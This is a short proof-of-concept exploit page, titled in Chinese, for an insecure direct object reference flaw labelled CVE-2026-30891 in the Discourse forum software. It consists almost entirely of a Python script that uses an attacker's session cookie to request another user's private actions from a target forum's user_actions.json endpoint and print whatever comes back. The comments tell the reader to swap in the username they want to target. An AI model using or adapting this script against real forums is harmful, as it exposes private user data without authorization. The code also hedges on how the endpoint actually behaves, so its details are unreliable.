CVE-2026-30891 Discourse越权访问漏洞

import requests # Exploit Title: Discourse CVE-2026-30891 User Actions IDOR PoC # Description: Access private user actions by changing the username parameter. target_url = "https://target-discourse.com/user_actions.json" attacker_cookie = "_forum_session=valid_attacker_session_token" headers = { "User-Agent": "PoC-Scanner/1.0", "Cookie": attacker_cookie, "Accept": "application/json" } # Attempt to access a specific user's private actions # Change 'victim_user' to the username you want to target params = { "username": "victim_user", "filter": "private" # Depending on endpoint specifics } try: response = requests.get(target_url, headers=headers, params=params) if response.status_code == 200: print("[+] Request successful! Data may have been leaked.") print("[+] Response Body:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")